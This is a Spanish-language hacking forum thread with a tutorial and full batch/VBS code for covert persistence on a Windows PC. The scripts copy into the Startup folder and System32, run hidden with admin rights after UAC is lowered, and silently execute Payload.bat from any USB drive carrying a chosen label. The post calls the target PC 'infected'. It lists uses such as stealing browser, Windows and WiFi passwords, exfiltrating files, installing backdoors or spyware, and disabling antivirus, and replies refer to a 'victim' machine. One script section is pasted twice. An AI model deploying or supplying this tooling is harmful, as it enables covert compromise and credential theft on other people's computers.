[Batch] - Ejecutar automaticamente un payload desde USB

Iniciado por Hello_World, Mayo 08, 2016, 12:52:14 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hello, World.

Quizas muchos aquí conozcan o hayan oido acerca de la USB Rubber Ducky y su peculiar caracteristica de auto-ejecutar payloads con solo conectarla en una computadora o cualquier dispositivo que se pueda manejar usando un teclado; ya que esta emula ser uno.

Bueno, hoy veremos como hacer algo similar aunque sin gastar ni un dolar (bueno, necesitaremos una USB).

El codigo a usar seria el siguiente:
Esta es una versión comentada, ademas de que se toma la molestia de imprimirnos si ha detectado o no la USB
(Espero que se explique por si mismo o sino preguntar en los comentarios D:)

Código: php

REM *** %WINDIR%/SYSTEM32 ***
@ECHO OFF
:WHILE
CLS
REM *** Darle a la variable USBDrive la letra de la Usb en el caso de que haya una Usb con el nombre indicado ***
for /f "tokens=3 delims= " %%A in ('ECHO list volume ^| diskpart ^| findstr "HELLOWORLD"') do (set USBDrive=%%A:)

REM *** Si la variable esta vacia espera 3 segundos y vuelve a comprobar ***
if [%USBDrive%] EQU [] (

ECHO [*] USB:      NO!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD:  NO!
TIMEOUT>NUL /T 3
GOTO :WHILE

REM *** En el caso de que la variable no este vacia (Significa que tiene la letra de nuestra USB) ***
REM *** Ademas de que exista el payload que vamos a ejecutar (Esto evitará que nos muestre algun error, en el caso de que intentemos ejecutar un payload que no existe) ***
) else if exist %USBDrive%\Payload.bat (

ECHO [*] USB:      OK!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD:  OK!

REM *** Entonces 'Rompe' el bucle y ejecutamos el payload... ***
GOTO :BREAK

REM *** De no cumplirse las anteriores condiciones (Significa que la USB con el nombre esta insertada, pero el payload no existe) ***
) ELSE (

ECHO [*] USB:      OK!
TIMEOUT>NUL /T 0
ECHO [*] PAYLOAD:  NO!

TIMEOUT>NUL /t 3
SET USBDrive=
GOTO :WHILE
)

:BREAK

REM *** Aqui es cuando se ejecuta el payload  ***
REM *** EJECUTAR PAYLOAD OCULTO *** wscript.exe Ocultar.vbs %USBDrive%\Payload.bat

START %USBDrive%\Payload.bat

REM ** ESPERA 90 SEGUNDOS Y VUELVE A COMPROBAR, ESTO HACE QUE PODAMOS INSERTAR TANTAS VECES COMO QUERRAMOS LA USB (CON PAYLOADs DIFERENTES), SIN NECESIDAD DE ESPERAR A QUE LA PC SE REINICIE ***
CLS
ECHO PAYLOAD EJECUTADO
TIMEOUT>NUL /T 0
ECHO ESPERANDO 90 SEGUNDOS PARA VOLVER A COMPROBAR
TIMEOUT>NUL /NOBREAK /t 90

REM *** RESETEA EL VALOR DE LA VARIABLE ***
SET USBDrive=
GOTO :WHILE


Cuando no hay ninguna USB con el nombre indicado:


Cuando hay una USB con el nombre indicado, pero no existe el "payload.bat"


Ahora solo faltaria hacer que se ejecute al inicio de Windows y de preferencia en segundo plano.
Bien, usaremos este script de windows para ejecutar en segundo plano al siguiente bat.
Este lo pondremos en la ruta: "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\"

Código: php

set objshell = createobject("wscript.shell")
objshell.run "C:/Windows/System32/Ejecutar.bat",vbhide


Con el archivo "Ejecutar.bat" nos encargaremos de ejecutar el archivo de espera "Esperar.bat" con permisos de administrador y en segundo plano.
Asi el payload (payload.bat) no solo se ejecutará en segundo plano sino que tambien se ejecutará con permisos de administrador.

Código: php

PowerShell Start %WINDIR%/System32/Esperar.bat -Verb runAs -WindowStyle Hidden


Para esto es recomendado cambiar la configuracion del control de cuentas de usuario "UAC"
Podemos ir al panel de control/bla-bla-bla/bla-bla-bla/UAC
o
presionamos WIN + R y escribimos UserAccountControlSettings.exe


Lo ponemos en la parte inferior  :)


La versión 'final' para el archivo "Esperar.bar" seria esta (la otra estaba comentada y configurada para 'pruebas').
Como podran ver es claramente una versión simplificada.

Código: php

REM *** %WINDIR%/SYSTEM32 ***
:WHILE
for /f "tokens=3 delims= " %%A in ('ECHO list volume ^| diskpart ^| findstr "MIUSB"') do (set USBDrive=%%A:)
if [%USBDrive%] EQU [] (
TIMEOUT /T 3
GOTO :WHILE ) else if exist %USBDrive%\Payload.bat (
GOTO :BREAK) ELSE (
TIMEOUT /t 3
SET USBDrive=
GOTO :WHILE)

:BREAK
wscript.exe Ocultar.vbs %USBDrive%\Payload.bat

TIMEOUT /t 90
SET USBDrive=
GOTO :WHILE


Por si no lo notaron, para ejecutar el payload usaremos otro script de windows llamado "Ocultar.vbs".
Espero el nombre sea suficientemente descriptivo :D

Código: php

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False


Hasta aquí ya quedaria todo funcionando correctamente (en segundo plano e iniciando con windows)
Pero, copiar cada archivo a su ruta seria algo tedioso y la intencion es usar el menor tiempo posible y mientras se pueda ¿Por qué no?.

Nuevamente con la ayuda de un script de windows "Copiar.vbs" ejecutaremos un segundo en segundo plano el cual ya explicaré su función.

Código: php

set objshell = createobject("wscript.shell")
objshell.run "Run.bat",vbhide


El archivo "Run.bat" será este:
Código: php

REM  UBICACION --> "CARPETA RAIZ USB"
REM Esto no es necesario, pero ... pero bueno es costumbre
@ECHO OFF & CLS

REM Le pasamos el valor del comando "CD" (nuestra ubicacion actual) a la variable "HERE"
FOR /F "TOKENS=*" %%%% in ('CD') DO (SET HERE=%%~%%)

REM Lo guardamos en un documento de texto para importarlo para luego saber la ruta de los archivos ya que al ejecutar como administrador un bat, nos cambia el directorio a "%WINDIR%\System32\"
ECHO %HERE%Docs>%tmp%\Current.txt

REM Usamos powershell para ejecutar como administrador un nuevo bat llamado "Copiar.bat" el cual se encuentra junto con los demas (arranque.vbs, ejecutar.bat, esperar.bat y ocultar.vbs) en la carpeta "Docs"
PowerShell Start %HERE%/Docs/Copiar.bat -Verb runAs -WindowStyle Hidden
EXIT


El archivo "Copiar.bat" seria:
Código: php

REM Importamos la ubicación desde el archivo creado anteriormente
for /f "tokens=*" %%%% in ('More %tmp%\Current.txt') do (set HERE=%%~%%) & Del /q "%tmp%\Current.txt"

REM Nombres de los ficheros a copiar
Set F1=Arranque.vbs
Set F2=Ocultar.vbs
Set F3=Ejecutar.bat
Set F4=Esperar.bat

REM Copiamos los archivos a sus respectivar rutas
REM La unicar ruta 'obligatoria' es la de inicio
Copy "%HERE%\%F1%" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
Copy "%HERE%\%F2%" "%WinDir%\System32\%F2%
Copy "%HERE%\%F3%" "%WinDir%\System32\%F3%
Copy "%HERE%\%F4%" "%WinDir%\System32\%F4%
REM Importamos la ubicación desde el archivo creado anteriormente
for /f "tokens=*" %%%% in ('More %tmp%\Current.txt') do (set HERE=%%~%%) & Del /q "%tmp%\Current.txt"

REM Nombres de los ficheros a copiar
Set F1=Arranque.vbs
Set F2=Ocultar.vbs
Set F3=Ejecutar.bat
Set F4=Esperar.bat

REM Copiamos los archivos a sus respectivar rutas
REM La unicar ruta 'obligatoria' es la de inicio
Copy "%HERE%\%F1%" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
Copy "%HERE%\%F2%" "%WinDir%\System32\%F2%
Copy "%HERE%\%F3%" "%WinDir%\System32\%F3%
Copy "%HERE%\%F4%" "%WinDir%\System32\%F4%

REM Ejecutamos el archivo de arranque; asi quedará funcionando desde ese momento.
"%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"

Exit
REM Ejecutamos el archivo de arranque; asi quedará funcionando desde ese momento.
"%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"

Exit


Finalmente, todo lo que debemos hacer es poner el nombre de nuestra USB en el archivo "Esperar.bat" y hacer doble clic en el archivo "Copiar.vbs"

Como resultado final una vez 'infectado' un ordenador podremos correr un payload con solo conectar la USB, en segundo plano y con permisos de administrador.

¿Que podemos hacer?

Lo que nuestro conocimiento nos permita  8).

Ejms:

[ESTOS 4 PAYLOADS Y SUS DEMOS LAS PUEDES ENCONTRAR EN ESTA LISTA DE REPRODUCCION EN YT]

   Robar contraseñas de navegadores
   Robar contraseñas de windows
   Extraer contraseñas de las redes wifi
   Copiar o extraer archivos

[TAMBIEN...]
   Crear backdoors
   Instalar malware, spyware
   Desactivar el AV
   Tirarse la PC
   Etc...

¿Desventajas?

El unico problema seria que la primera vez tenemos que iniciar el script manualmente, pero vamos; solo un par de clics y es TODO.

Lista de reproduccion con demostración, explicación, configuracion y ejecución de payloads


Saludos!!

Muy pero muy bueno bro!
Mil gracias por el aporte! Te felicito por el material!

Saludos!
ANTRAX


Gracias Bro!, es genial lo que aportaste, pero tengo la duda para ejecutarlo por primera vez toca ejecutarlo como admin manualmente en el PC "victima"?
David Bassara, aprendiz de la vida.

Para que funcione como debe es necesario que se deshabilite la funcionalidad UAC (User Account Control).

Si esto no se hace el usuario va a ser notificado por cada vez que intente ejecutarse el script Ejecutar.bat (porque intenta ejecutar Esperar.bat en modo privilegiado) y por cada vez que intente ejecutarse Esperar.bat (porque el comando diskpart es una aplicacion que puede hacer cambios en el equipo y porque Payload.bat posiblemente necesite los privilegios de administrador).

Saludos